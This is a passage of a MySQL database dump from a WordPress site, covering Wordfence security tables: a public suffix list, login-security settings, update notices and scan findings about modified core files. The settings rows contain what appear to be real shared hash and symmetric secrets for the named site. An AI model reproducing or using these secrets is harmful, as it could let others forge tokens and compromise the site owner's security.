\\u7db2\\u7edc\\\\.hk\",\"\\u7ec4\\u7e54\\\\.hk\",\"\\u7ec4\\u7ec7\\\\.hk\",\"\\u7f51\\u7d61\\\\.hk\",\"\\u7f51\\u7edc\\\\.cn\",\"\\u7f51\\u7edc\\\\.hk\",\"\\u7fa4\\u99ac\\\\.jp\",\"\\u8328\\u57ce\\\\.jp\",\"\\u9577\\u5d0e\\\\.jp\",\"\\u9577\\u91ce\\\\.jp\",\"\\u9752\\u68ee\\\\.jp\",\"\\u9759\\u5ca1\\\\.jp\",\"\\u9999\\u5ddd\\\\.jp\",\"\\u9ad8\\u77e5\\\\.jp\",\"\\u9ce5\\u53d6\\\\.jp\",\"\\u9e7f\\u5150\\u5cf6\\\\.jp\",\"aaa\",\"aarp\",\"abb\",\"abbott\",\"abbvie\",\"abc\",\"able\",\"abogado\",\"abudhabi\",\"ac\",\"academy\",\"accenture\",\"accountant\",\"accountants\",\"aco\",\"actor\",\"ad\",\"ads\",\"adult\",\"ae\",\"aeg\",\"aero\",\"aetna\",\"af\",\"afl\",\"africa\",\"ag\",\"agakhan\",\"agency\",\"ai\",\"aig\",\"airbus\",\"airforce\",\"airtel\",\"akdn\",\"al\",\"alibaba\",\"alipay\",\"allfinanz\",\"allstate\",\"ally\",\"alsace\",\"alstom\",\"am\",\"amazon\",\"americanexpress\",\"americanfamily\",\"amex\",\"amfam\",\"amica\",\"amsterdam\",\"analytics\",\"android\",\"anquan\",\"anz\",\"ao\",\"aol\",\"apartments\",\"app\",\"apple\",\"aq\",\"aquarelle\",\"ar\",\"arab\",\"aramco\",\"archi\",\"army\",\"arpa\",\"art\",\"arte\",\"as\",\"asda\",\"asia\",\"associates\",\"at\",\"athleta\",\"attorney\",\"au\",\"auction\",\"audi\",\"audible\",\"audio\",\"auspost\",\"author\",\"auto\",\"autos\",\"aw\",\"aws\",\"ax\",\"axa\",\"az\",\"azure\",\"ba\",\"baby\",\"baidu\",\"banamex\",\"band\",\"bank\",\"bar\",\"barcelona\",\"barclaycard\",\"barclays\",\"barefoot\",\"bargains\",\"baseball\",\"basketball\",\"bauhaus\",\"bayern\",\"bb\",\"bbc\",\"bbt\",\"bbva\",\"bcg\",\"bcn\",\"bd\",\"be\",\"beats\",\"beauty\",\"beer\",\"berlin\",\"best\",\"bestbuy\",\"bet\",\"bf\",\"bg\",\"bh\",\"bharti\",\"bi\",\"bible\",\"bid\",\"bike\",\"bing\",\"bingo\",\"bio\",\"biz\",\"bj\",\"black\",\"blackfriday\",\"blockbuster\",\"blog\",\"bloomberg\",\"blue\",\"bm\",\"bms\",\"bmw\",\"bn\",\"bnpparibas\",\"bo\",\"boats\",\"boehringer\",\"bofa\",\"bom\",\"bond\",\"boo\",\"book\",\"booking\",\"bosch\",\"bostik\",\"boston\",\"bot\",\"boutique\",\"box\",\"br\",\"bradesco\",\"bridgestone\",\"broadway\",\"broker\",\"brother\",\"brussels\",\"bs\",\"bt\",\"build\",\"builders\",\"business\",\"buy\",\"buzz\",\"bv\",\"bw\",\"by\",\"bz\",\"bzh\",\"ca\",\"cab\",\"cafe\",\"cal\",\"call\",\"calvinklein\",\"cam\",\"camera\",\"camp\",\"canon\",\"capetown\",\"capital\",\"capitalone\",\"car\",\"caravan\",\"cards\",\"care\",\"career\",\"careers\",\"cars\",\"casa\",\"case\",\"cash\",\"casino\",\"cat\",\"catering\",\"catholic\",\"cba\",\"cbn\",\"cbre\",\"cc\",\"cd\",\"center\",\"ceo\",\"cern\",\"cf\",\"cfa\",\"cfd\",\"cg\",\"ch\",\"chanel\",\"channel\",\"charity\",\"chase\",\"chat\",\"cheap\",\"chintai\",\"christmas\",\"chrome\",\"church\",\"ci\",\"cipriani\",\"circle\",\"cisco\",\"citadel\",\"citi\",\"citic\",\"city\",\"cl\",\"claims\",\"cleaning\",\"click\",\"clinic\",\"clinique\",\"clothing\",\"cloud\",\"club\",\"clubmed\",\"cm\",\"cn\",\"co\",\"coach\",\"codes\",\"coffee\",\"college\",\"cologne\",\"com\",\"commbank\",\"community\",\"company\",\"compare\",\"computer\",\"comsec\",\"condos\",\"construction\",\"consulting\",\"contact\",\"contractors\",\"cooking\",\"cool\",\"coop\",\"corsica\",\"country\",\"coupon\",\"coupons\",\"courses\",\"cpa\",\"cr\",\"credit\",\"creditcard\",\"creditunion\",\"cricket\",\"crown\",\"crs\",\"cruise\",\"cruises\",\"cu\",\"cuisinella\",\"cv\",\"cw\",\"cx\",\"cy\",\"cymru\",\"cyou\",\"cz\",\"dad\",\"dance\",\"data\",\"date\",\"dating\",\"datsun\",\"day\",\"dclk\",\"dds\",\"de\",\"deal\",\"dealer\",\"deals\",\"degree\",\"delivery\",\"dell\",\"deloitte\",\"delta\",\"democrat\",\"dental\",\"dentist\",\"desi\",\"design\",\"dev\",\"dhl\",\"diamonds\",\"diet\",\"digital\",\"direct\",\"directory\",\"discount\",\"discover\",\"dish\",\"diy\",\"dj\",\"dk\",\"dm\",\"dnp\",\"do\",\"docs\",\"doctor\",\"dog\",\"domains\",\"dot\",\"download\",\"drive\",\"dtv\",\"dubai\",\"dupont\",\"durban\",\"dvag\",\"dvr\",\"dz\",\"earth\",\"eat\",\"ec\",\"eco\",\"edeka\",\"edu\",\"education\",\"ee\",\"eg\",\"email\",\"emerck\",\"energy\",\"engineer\",\"engineering\",\"enterprises\",\"epson\",\"equipment\",\"ericsson\",\"erni\",\"es\",\"esq\",\"estate\",\"et\",\"eu\",\"eurovision\",\"eus\",\"events\",\"exchange\",\"expert\",\"exposed\",\"express\",\"extraspace\",\"fage\",\"fail\",\"fairwinds\",\"faith\",\"family\",\"fan\",\"fans\",\"farm\",\"farmers\",\"fashion\",\"fast\",\"fedex\",\"feedback\",\"ferrari\",\"ferrero\",\"fi\",\"fidelity\",\"fido\",\"film\",\"final\",\"finance\",\"financial\",\"fire\",\"firestone\",\"firmdale\",\"fish\",\"fishing\",\"fit\",\"fitness\",\"fj\",\"flickr\",\"flights\",\"flir\",\"florist\",\"flowers\",\"fly\",\"fm\",\"fo\",\"foo\",\"food\",\"football\",\"ford\",\"forex\",\"forsale\",\"forum\",\"foundation\",\"fox\",\"fr\",\"free\",\"fresenius\",\"frl\",\"frogans\",\"frontier\",\"ftr\",\"fujitsu\",\"fun\",\"fund\",\"furniture\",\"futbol\",\"fyi\",\"ga\",\"gal\",\"gallery\",\"gallo\",\"gallup\",\"game\",\"games\",\"gap\",\"garden\",\"gay\",\"gb\",\"gbiz\",\"gd\",\"gdn\",\"ge\",\"gea\",\"gent\",\"genting\",\"george\",\"gf\",\"gg\",\"ggee\",\"gh\",\"gi\",\"gift\",\"gifts\",\"gives\",\"giving\",\"gl\",\"glass\",\"gle\",\"global\",\"globo\",\"gm\",\"gmail\",\"gmbh\",\"gmo\",\"gmx\",\"gn\",\"godaddy\",\"gold\",\"goldpoint\",\"golf\",\"goodyear\",\"goog\",\"google\",\"gop\",\"got\",\"gov\",\"gp\",\"gq\",\"gr\",\"grainger\",\"graphics\",\"gratis\",\"green\",\"gripe\",\"grocery\",\"group\",\"gs\",\"gt\",\"gu\",\"gucci\",\"guge\",\"guide\",\"guitars\",\"guru\",\"gw\",\"gy\",\"hair\",\"hamburg\",\"hangout\",\"haus\",\"hbo\",\"hdfc\",\"hdfcbank\",\"health\",\"healthcare\",\"help\",\"helsinki\",\"here\",\"hermes\",\"hiphop\",\"hisamitsu\",\"hitachi\",\"hiv\",\"hk\",\"hkt\",\"hm\",\"hn\",\"hockey\",\"holdings\",\"holiday\",\"homedepot\",\"homegoods\",\"homes\",\"homesense\",\"honda\",\"horse\",\"hospital\",\"host\",\"hosting\",\"hot\",\"hotel\",\"hotels\",\"hotmail\",\"house\",\"how\",\"hr\",\"hsbc\",\"ht\",\"hu\",\"hughes\",\"hyatt\",\"hyundai\",\"ibm\",\"icbc\",\"ice\",\"icu\",\"id\",\"ie\",\"ieee\",\"ifm\",\"ikano\",\"il\",\"im\",\"imamat\",\"imdb\",\"immo\",\"immobilien\",\"in\",\"inc\",\"industries\",\"infiniti\",\"info\",\"ing\",\"ink\",\"institute\",\"insurance\",\"insure\",\"int\",\"international\",\"intuit\",\"investments\",\"io\",\"ipiranga\",\"iq\",\"ir\",\"irish\",\"is\",\"ismaili\",\"ist\",\"istanbul\",\"it\",\"itau\",\"itv\",\"jaguar\",\"java\",\"jcb\",\"je\",\"jeep\",\"jetzt\",\"jewelry\",\"jio\",\"jll\",\"jmp\",\"jnj\",\"jo\",\"jobs\",\"joburg\",\"jot\",\"joy\",\"jp\",\"jpmorgan\",\"jprs\",\"juegos\",\"juniper\",\"kaufen\",\"kddi\",\"ke\",\"kerryhotels\",\"kerryproperties\",\"kfh\",\"kg\",\"kh\",\"ki\",\"kia\",\"kids\",\"kim\",\"kindle\",\"kitchen\",\"kiwi\",\"km\",\"kn\",\"koeln\",\"komatsu\",\"kosher\",\"kp\",\"kpmg\",\"kpn\",\"kr\",\"krd\",\"kred\",\"kuokgroup\",\"kw\",\"ky\",\"kyoto\",\"kz\",\"la\",\"lacaixa\",\"lamborghini\",\"lamer\",\"land\",\"landrover\",\"lanxess\",\"lasalle\",\"lat\",\"latino\",\"latrobe\",\"law\",\"lawyer\",\"lb\",\"lc\",\"lds\",\"lease\",\"leclerc\",\"lefrak\",\"legal\",\"lego\",\"lexus\",\"lgbt\",\"li\",\"lidl\",\"life\",\"lifeinsurance\",\"lifestyle\",\"lighting\",\"like\",\"lilly\",\"limited\",\"limo\",\"lincoln\",\"link\",\"live\",\"living\",\"lk\",\"llc\",\"llp\",\"loan\",\"loans\",\"locker\",\"locus\",\"lol\",\"london\",\"lotte\",\"lotto\",\"love\",\"lpl\",\"lplfinancial\",\"lr\",\"ls\",\"lt\",\"ltd\",\"ltda\",\"lu\",\"lundbeck\",\"luxe\",\"luxury\",\"lv\",\"ly\",\"ma\",\"madrid\",\"maif\",\"maison\",\"makeup\",\"man\",\"management\",\"mango\",\"map\",\"market\",\"marketing\",\"markets\",\"marriott\",\"marshalls\",\"mattel\",\"mba\",\"mc\",\"mckinsey\",\"md\",\"me\",\"med\",\"media\",\"meet\",\"melbourne\",\"meme\",\"memorial\",\"men\",\"menu\",\"merck\",\"merckmsd\",\"mg\",\"mh\",\"miami\",\"microsoft\",\"mil\",\"mini\",\"mint\",\"mit\",\"mitsubishi\",\"mk\",\"ml\",\"mlb\",\"mls\",\"mma\",\"mn\",\"mo\",\"mobi\",\"mobile\",\"moda\",\"moe\",\"moi\",\"mom\",\"monash\",\"money\",\"monster\",\"mormon\",\"mortgage\",\"moscow\",\"moto\",\"motorcycles\",\"mov\",\"movie\",\"mp\",\"mq\",\"mr\",\"ms\",\"msd\",\"mt\",\"mtn\",\"mtr\",\"mu\",\"museum\",\"music\",\"mv\",\"mw\",\"mx\",\"my\",\"mz\",\"na\",\"nab\",\"nagoya\",\"name\",\"navy\",\"nba\",\"nc\",\"ne\",\"nec\",\"net\",\"netbank\",\"netflix\",\"network\",\"neustar\",\"new\",\"news\",\"next\",\"nextdirect\",\"nexus\",\"nf\",\"nfl\",\"ng\",\"ngo\",\"nhk\",\"ni\",\"nico\",\"nike\",\"nikon\",\"ninja\",\"nissan\",\"nissay\",\"nl\",\"no\",\"nokia\",\"norton\",\"now\",\"nowruz\",\"nowtv\",\"nr\",\"nra\",\"nrw\",\"ntt\",\"nu\",\"nyc\",\"nz\",\"obi\",\"observer\",\"office\",\"okinawa\",\"olayan\",\"olayangroup\",\"ollo\",\"om\",\"omega\",\"one\",\"ong\",\"onion\",\"onl\",\"online\",\"ooo\",\"open\",\"oracle\",\"orange\",\"org\",\"organic\",\"origins\",\"osaka\",\"otsuka\",\"ott\",\"ovh\",\"pa\",\"page\",\"panasonic\",\"paris\",\"pars\",\"partners\",\"parts\",\"party\",\"pay\",\"pccw\",\"pe\",\"pet\",\"pf\",\"pfizer\",\"ph\",\"pharmacy\",\"phd\",\"philips\",\"phone\",\"photo\",\"photography\",\"photos\",\"physio\",\"pics\",\"pictet\",\"pictures\",\"pid\",\"pin\",\"ping\",\"pink\",\"pioneer\",\"pizza\",\"pk\",\"pl\",\"place\",\"play\",\"playstation\",\"plumbing\",\"plus\",\"pm\",\"pn\",\"pnc\",\"pohl\",\"poker\",\"politie\",\"porn\",\"post\",\"pr\",\"praxi\",\"press\",\"prime\",\"pro\",\"prod\",\"productions\",\"prof\",\"progressive\",\"promo\",\"properties\",\"property\",\"protection\",\"pru\",\"prudential\",\"ps\",\"pt\",\"pub\",\"pw\",\"pwc\",\"py\",\"qa\",\"qpon\",\"quebec\",\"quest\",\"racing\",\"radio\",\"re\",\"read\",\"realestate\",\"realtor\",\"realty\",\"recipes\",\"red\",\"redumbrella\",\"rehab\",\"reise\",\"reisen\",\"reit\",\"reliance\",\"ren\",\"rent\",\"rentals\",\"repair\",\"report\",\"republican\",\"rest\",\"restaurant\",\"review\",\"reviews\",\"rexroth\",\"rich\",\"richardli\",\"ricoh\",\"ril\",\"rio\",\"rip\",\"ro\",\"rocks\",\"rodeo\",\"rogers\",\"room\",\"rs\",\"rsvp\",\"ru\",\"rugby\",\"ruhr\",\"run\",\"rw\",\"rwe\",\"ryukyu\",\"sa\",\"saarland\",\"safe\",\"safety\",\"sakura\",\"sale\",\"salon\",\"samsclub\",\"samsung\",\"sandvik\",\"sandvikcoromant\",\"sanofi\",\"sap\",\"sarl\",\"sas\",\"save\",\"saxo\",\"sb\",\"sbi\",\"sbs\",\"sc\",\"scb\",\"schaeffler\",\"schmidt\",\"scholarships\",\"school\",\"schule\",\"schwarz\",\"science\",\"scot\",\"sd\",\"se\",\"search\",\"seat\",\"secure\",\"security\",\"seek\",\"select\",\"sener\",\"services\",\"seven\",\"sew\",\"sex\",\"sexy\",\"sfr\",\"sg\",\"sh\",\"shangrila\",\"sharp\",\"shell\",\"shia\",\"shiksha\",\"shoes\",\"shop\",\"shopping\",\"shouji\",\"show\",\"si\",\"silk\",\"sina\",\"singles\",\"site\",\"sj\",\"sk\",\"ski\",\"skin\",\"sky\",\"skype\",\"sl\",\"sling\",\"sm\",\"smart\",\"smile\",\"sn\",\"sncf\",\"so\",\"soccer\",\"social\",\"softbank\",\"software\",\"sohu\",\"solar\",\"solutions\",\"song\",\"sony\",\"soy\",\"spa\",\"space\",\"sport\",\"spot\",\"sr\",\"srl\",\"ss\",\"st\",\"stada\",\"staples\",\"star\",\"statebank\",\"statefarm\",\"stc\",\"stcgroup\",\"stockholm\",\"storage\",\"store\",\"stream\",\"studio\",\"study\",\"style\",\"su\",\"sucks\",\"supplies\",\"supply\",\"support\",\"surf\",\"surgery\",\"suzuki\",\"sv\",\"swatch\",\"swiss\",\"sx\",\"sy\",\"sydney\",\"systems\",\"sz\",\"tab\",\"taipei\",\"talk\",\"taobao\",\"target\",\"tatamotors\",\"tatar\",\"tattoo\",\"tax\",\"taxi\",\"tc\",\"tci\",\"td\",\"tdk\",\"team\",\"tech\",\"technology\",\"tel\",\"temasek\",\"tennis\",\"teva\",\"tf\",\"tg\",\"th\",\"thd\",\"theater\",\"theatre\",\"tiaa\",\"tickets\",\"tienda\",\"tips\",\"tires\",\"tirol\",\"tj\",\"tjmaxx\",\"tjx\",\"tk\",\"tkmaxx\",\"tl\",\"tm\",\"tmall\",\"tn\",\"to\",\"today\",\"tokyo\",\"tools\",\"top\",\"toray\",\"toshiba\",\"total\",\"tours\",\"town\",\"toyota\",\"toys\",\"tr\",\"trade\",\"trading\",\"training\",\"travel\",\"travelers\",\"travelersinsurance\",\"trust\",\"trv\",\"tt\",\"tube\",\"tui\",\"tunes\",\"tushu\",\"tv\",\"tvs\",\"tw\",\"tz\",\"ua\",\"ubank\",\"ubs\",\"ug\",\"uk\",\"unicom\",\"university\",\"uno\",\"uol\",\"ups\",\"us\",\"uy\",\"uz\",\"va\",\"vacations\",\"vana\",\"vanguard\",\"vc\",\"ve\",\"vegas\",\"ventures\",\"verisign\",\"verm\\u00f6gensberater\",\"verm\\u00f6gensberatung\",\"versicherung\",\"vet\",\"vg\",\"vi\",\"viajes\",\"video\",\"vig\",\"viking\",\"villas\",\"vin\",\"vip\",\"virgin\",\"visa\",\"vision\",\"viva\",\"vivo\",\"vlaanderen\",\"vn\",\"vodka\",\"volvo\",\"vote\",\"voting\",\"voto\",\"voyage\",\"vu\",\"wales\",\"walmart\",\"walter\",\"wang\",\"wanggou\",\"watch\",\"watches\",\"weather\",\"weatherchannel\",\"web\",\"webcam\",\"weber\",\"website\",\"wed\",\"wedding\",\"weibo\",\"weir\",\"wf\",\"whoswho\",\"wien\",\"wiki\",\"williamhill\",\"win\",\"windows\",\"wine\",\"winners\",\"wme\",\"woodside\",\"work\",\"works\",\"world\",\"wow\",\"ws\",\"wtc\",\"wtf\",\"xbox\",\"xerox\",\"xihuan\",\"xin\",\"xxx\",\"xyz\",\"yachts\",\"yahoo\",\"yamaxun\",\"yandex\",\"ye\",\"yodobashi\",\"yoga\",\"yokohama\",\"you\",\"youtube\",\"yt\",\"yun\",\"zappos\",\"zara\",\"zero\",\"zip\",\"zm\",\"zone\",\"zuerich\",\"zw\",\"\\u03b5\\u03bb\",\"\\u03b5\\u03c5\",\"\\u0431\\u0433\",\"\\u0431\\u0435\\u043b\",\"\\u0434\\u0435\\u0442\\u0438\",\"\\u0435\\u044e\",\"\\u043a\\u0430\\u0442\\u043e\\u043b\\u0438\\u043a\",\"\\u043a\\u043e\\u043c\",\"\\u043c\\u043a\\u0434\",\"\\u043c\\u043e\\u043d\",\"\\u043c\\u043e\\u0441\\u043a\\u0432\\u0430\",\"\\u043e\\u043d\\u043b\\u0430\\u0439\\u043d\",\"\\u043e\\u0440\\u0433\",\"\\u0440\\u0443\\u0441\",\"\\u0440\\u0444\",\"\\u0441\\u0430\\u0439\\u0442\",\"\\u0441\\u0440\\u0431\",\"\\u0443\\u043a\\u0440\",\"\\u049b\\u0430\\u0437\",\"\\u0570\\u0561\\u0575\",\"\\u05d9\\u05e9\\u05e8\\u05d0\\u05dc\",\"\\u05e7\\u05d5\\u05dd\",\"\\u0627\\u0628\\u0648\\u0638\\u0628\\u064a\",\"\\u0627\\u0631\\u0627\\u0645\\u0643\\u0648\",\"\\u0627\\u0644\\u0627\\u0631\\u062f\\u0646\",\"\\u0627\\u0644\\u0628\\u062d\\u0631\\u064a\\u0646\",\"\\u0627\\u0644\\u062c\\u0632\\u0627\\u0626\\u0631\",\"\\u0627\\u0644\\u0633\\u0639\\u0648\\u062f\\u064a\\u0629\",\"\\u0627\\u0644\\u0633\\u0639\\u0648\\u062f\\u064a\\u0647\",\"\\u0627\\u0644\\u0633\\u0639\\u0648\\u062f\\u06cc\\u0629\",\"\\u0627\\u0644\\u0633\\u0639\\u0648\\u062f\\u06cc\\u06c3\",\"\\u0627\\u0644\\u0639\\u0644\\u064a\\u0627\\u0646\",\"\\u0627\\u0644\\u0645\\u063a\\u0631\\u0628\",\"\\u0627\\u0644\\u064a\\u0645\\u0646\",\"\\u0627\\u0645\\u0627\\u0631\\u0627\\u062a\",\"\\u0627\\u064a\\u0631\\u0627\\u0646\",\"\\u0627\\u06cc\\u0631\\u0627\\u0646\",\"\\u0628\\u0627\\u0631\\u062a\",\"\\u0628\\u0627\\u0632\\u0627\\u0631\",\"\\u0628\\u064a\\u062a\\u0643\",\"\\u0628\\u06be\\u0627\\u0631\\u062a\",\"\\u062a\\u0648\\u0646\\u0633\",\"\\u0633\\u0648\\u062f\\u0627\\u0646\",\"\\u0633\\u0648\\u0631\\u064a\\u0627\",\"\\u0633\\u0648\\u0631\\u064a\\u0629\",\"\\u0634\\u0628\\u0643\\u0629\",\"\\u0639\\u0631\\u0627\\u0642\",\"\\u0639\\u0631\\u0628\",\"\\u0639\\u0645\\u0627\\u0646\",\"\\u0641\\u0644\\u0633\\u0637\\u064a\\u0646\",\"\\u0642\\u0637\\u0631\",\"\\u0643\\u0627\\u062b\\u0648\\u0644\\u064a\\u0643\",\"\\u0643\\u0648\\u0645\",\"\\u0645\\u0635\\u0631\",\"\\u0645\\u0644\\u064a\\u0633\\u064a\\u0627\",\"\\u0645\\u0648\\u0631\\u064a\\u062a\\u0627\\u0646\\u064a\\u0627\",\"\\u0645\\u0648\\u0642\\u0639\",\"\\u0647\\u0645\\u0631\\u0627\\u0647\",\"\\u067e\\u0627\\u0643\\u0633\\u062a\\u0627\\u0646\",\"\\u067e\\u0627\\u06a9\\u0633\\u062a\\u0627\\u0646\",\"\\u0680\\u0627\\u0631\\u062a\",\"\\u0915\\u0949\\u092e\",\"\\u0928\\u0947\\u091f\",\"\\u092d\\u093e\\u0930\\u0924\",\"\\u092d\\u093e\\u0930\\u0924\\u092e\\u094d\",\"\\u092d\\u093e\\u0930\\u094b\\u0924\",\"\\u0938\\u0902\\u0917\\u0920\\u0928\",\"\\u09ac\\u09be\\u0982\\u09b2\\u09be\",\"\\u09ad\\u09be\\u09b0\\u09a4\",\"\\u09ad\\u09be\\u09f0\\u09a4\",\"\\u0a2d\\u0a3e\\u0a30\\u0a24\",\"\\u0aad\\u0abe\\u0ab0\\u0aa4\",\"\\u0b2d\\u0b3e\\u0b30\\u0b24\",\"\\u0b87\\u0ba8\\u0bcd\\u0ba4\\u0bbf\\u0baf\\u0bbe\",\"\\u0b87\\u0bb2\\u0b99\\u0bcd\\u0b95\\u0bc8\",\"\\u0b9a\\u0bbf\\u0b99\\u0bcd\\u0b95\\u0baa\\u0bcd\\u0baa\\u0bc2\\u0bb0\\u0bcd\",\"\\u0c2d\\u0c3e\\u0c30\\u0c24\\u0c4d\",\"\\u0cad\\u0cbe\\u0cb0\\u0ca4\",\"\\u0d2d\\u0d3e\\u0d30\\u0d24\\u0d02\",\"\\u0dbd\\u0d82\\u0d9a\\u0dcf\",\"\\u0e04\\u0e2d\\u0e21\",\"\\u0e44\\u0e17\\u0e22\",\"\\u0ea5\\u0eb2\\u0ea7\",\"\\u10d2\\u10d4\",\"\\u307f\\u3093\\u306a\",\"\\u30a2\\u30de\\u30be\\u30f3\",\"\\u30af\\u30e9\\u30a6\\u30c9\",\"\\u30b0\\u30fc\\u30b0\\u30eb\",\"\\u30b3\\u30e0\",\"\\u30b9\\u30c8\\u30a2\",\"\\u30bb\\u30fc\\u30eb\",\"\\u30d5\\u30a1\\u30c3\\u30b7\\u30e7\\u30f3\",\"\\u30dd\\u30a4\\u30f3\\u30c8\",\"\\u4e16\\u754c\",\"\\u4e2d\\u4fe1\",\"\\u4e2d\\u56fd\",\"\\u4e2d\\u570b\",\"\\u4e2d\\u6587\\u7f51\",\"\\u4e9a\\u9a6c\\u900a\",\"\\u4f01\\u4e1a\",\"\\u4f5b\\u5c71\",\"\\u4fe1\\u606f\",\"\\u5065\\u5eb7\",\"\\u516b\\u5366\",\"\\u516c\\u53f8\",\"\\u516c\\u76ca\",\"\\u53f0\\u6e7e\",\"\\u53f0\\u7063\",\"\\u5546\\u57ce\",\"\\u5546\\u5e97\",\"\\u5546\\u6807\",\"\\u5609\\u91cc\",\"\\u5609\\u91cc\\u5927\\u9152\\u5e97\",\"\\u5728\\u7ebf\",\"\\u5927\\u62ff\",\"\\u5929\\u4e3b\\u6559\",\"\\u5a31\\u4e50\",\"\\u5bb6\\u96fb\",\"\\u5e7f\\u4e1c\",\"\\u5fae\\u535a\",\"\\u6148\\u5584\",\"\\u6211\\u7231\\u4f60\",\"\\u624b\\u673a\",\"\\u62db\\u8058\",\"\\u653f\\u52a1\",\"\\u653f\\u5e9c\",\"\\u65b0\\u52a0\\u5761\",\"\\u65b0\\u95fb\",\"\\u65f6\\u5c1a\",\"\\u66f8\\u7c4d\",\"\\u673a\\u6784\",\"\\u6de1\\u9a6c\\u9521\",\"\\u6e38\\u620f\",\"\\u6fb3\\u9580\",\"\\u6fb3\\u95e8\",\"\\u70b9\\u770b\",\"\\u79fb\\u52a8\",\"\\u7ec4\\u7ec7\\u673a\\u6784\",\"\\u7f51\\u5740\",\"\\u7f51\\u5e97\",\"\\u7f51\\u7ad9\",\"\\u7f51\\u7edc\",\"\\u8054\\u901a\",\"\\u81fa\\u7063\",\"\\u8c37\\u6b4c\",\"\\u8d2d\\u7269\",\"\\u901a\\u8ca9\",\"\\u96c6\\u56e2\",\"\\u96fb\\u8a0a\\u76c8\\u79d1\",\"\\u98de\\u5229\\u6d66\",\"\\u98df\\u54c1\",\"\\u9910\\u5385\",\"\\u9999\\u683c\\u91cc\\u62c9\",\"\\u9999\\u6e2f\",\"\\ub2f7\\ub137\",\"\\ub2f7\\ucef4\",\"\\uc0bc\\uc131\",\"\\ud55c\\uad6d\"]','no'),
('public-suffix-list-etag','W/\"b94fa38a81ea719fc3692c35f0b29675\"','no'),
('recaptcha-secret','','yes'),
('recaptcha-site-key','','yes'),
('recaptcha-test-mode','','yes'),
('recaptcha-threshold','0.5','yes'),
('remember-device','','yes'),
('remember-device-duration','2592000','yes'),
('require-2fa-grace-period-enabled','','yes'),
('require-2fa.administrator','','yes'),
('schema-version','4','yes'),
('shared-hash-secret','6f78122f9e6703d611a5b3ae2c6177fa5f8f8b132953797d5d3abd9ef969497d','yes'),
('shared-symmetric-secret','c13061ebc81082468ed5e08999e589cdc0a94e1f0ca6500d0d9b07ff5fb6d5f0','yes'),
('stack-ui-columns','1','yes'),
('use-ntp','1','yes'),
('user-count-query-state','','yes'),
('whitelisted','','yes'),
('xmlrpc-enabled','1','yes');
/*!40000 ALTER TABLE `wp4v_wfls_settings` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfnotifications`
--

DROP TABLE IF EXISTS `wp4v_wfnotifications`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfnotifications` (
  `id` varchar(32) NOT NULL DEFAULT '',
  `new` tinyint(3) unsigned NOT NULL DEFAULT 1,
  `category` varchar(255) NOT NULL,
  `priority` int(11) NOT NULL DEFAULT 1000,
  `ctime` int(10) unsigned NOT NULL,
  `html` text NOT NULL,
  `links` text NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfnotifications`
--

LOCK TABLES `wp4v_wfnotifications` WRITE;
/*!40000 ALTER TABLE `wp4v_wfnotifications` DISABLE KEYS */;
INSERT INTO `wp4v_wfnotifications` VALUES
('site-AEAAAAA',1,'wfplugin_updates',502,1789251162,'<a href=\"https://trevorklee.com/wp-admin/update-core.php\">An update is available for WordPress (v7.1)</a>','[]'),
('site-AMAAAAA',1,'wfplugin_scan',502,1789252914,'<a href=\"https://trevorklee.com/wp-admin/admin.php?page=WordfenceScan\">66 issues found in most recent scan</a>','[]');
/*!40000 ALTER TABLE `wp4v_wfnotifications` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_wfpendingissues`
--

DROP TABLE IF EXISTS `wp4v_wfpendingissues`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_wfpendingissues` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `time` int(10) unsigned NOT NULL,
  `lastUpdated` int(10) unsigned NOT NULL,
  `status` varchar(10) NOT NULL,
  `type` varchar(20) NOT NULL,
  `severity` tinyint(3) unsigned NOT NULL,
  `ignoreP` char(32) NOT NULL,
  `ignoreC` char(32) NOT NULL,
  `shortMsg` varchar(255) NOT NULL,
  `longMsg` text DEFAULT NULL,
  `data` text DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `lastUpdated` (`lastUpdated`),
  KEY `status` (`status`),
  KEY `ignoreP` (`ignoreP`),
  KEY `ignoreC` (`ignoreC`)
) ENGINE=InnoDB AUTO_INCREMENT=29 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_wfpendingissues`
--

LOCK TABLES `wp4v_wfpendingissues` WRITE;
/*!40000 ALTER TABLE `wp4v_wfpendingissues` DISABLE KEYS */;
INSERT INTO `wp4v_wfpendingissues` VALUES
(1,1789251201,1789251201,'new','knownfile',75,'b377e8a9aa3f4bf4dde676e8d32b4f4a','2fecd9f1b2da5542ce6035db47e2620b','WordPress core file modified: wp-content/plugins/hello.php','This WordPress core file has been modified and differs from the original file distributed with this version of WordPress.','a:7:{s:4:\"file\";s:28:\"wp-content/plugins/hello.php\";s:8:\"realFile\";s:58:\"/home/trevorkl/trevorklee.com/wp-content/plugins/hello.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:1;s:6:\"canFix\";b:1;s:9:\"canDelete\";b:0;s:10:\"haveIssues\";s:4:\"core\";}'),
(2,1789251206,1789251206,'new','knownfile',75,'e9af8bb29b0351eab484834ae5f393df','dbcbccad75c023cc24675617b979f8aa','WordPress core file modified: index.php','This WordPress core file has been modified and differs from the original file distributed with this version of WordPress.','a:7:{s:4:\"file\";s:9:\"index.php\";s:8:\"realFile\";s:39:\"/home/trevorkl/trevorklee.com/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:1;s:6:\"canFix\";b:1;s:9:\"canDelete\";b:0;s:10:\"haveIssues\";s:4:\"core\";}'),
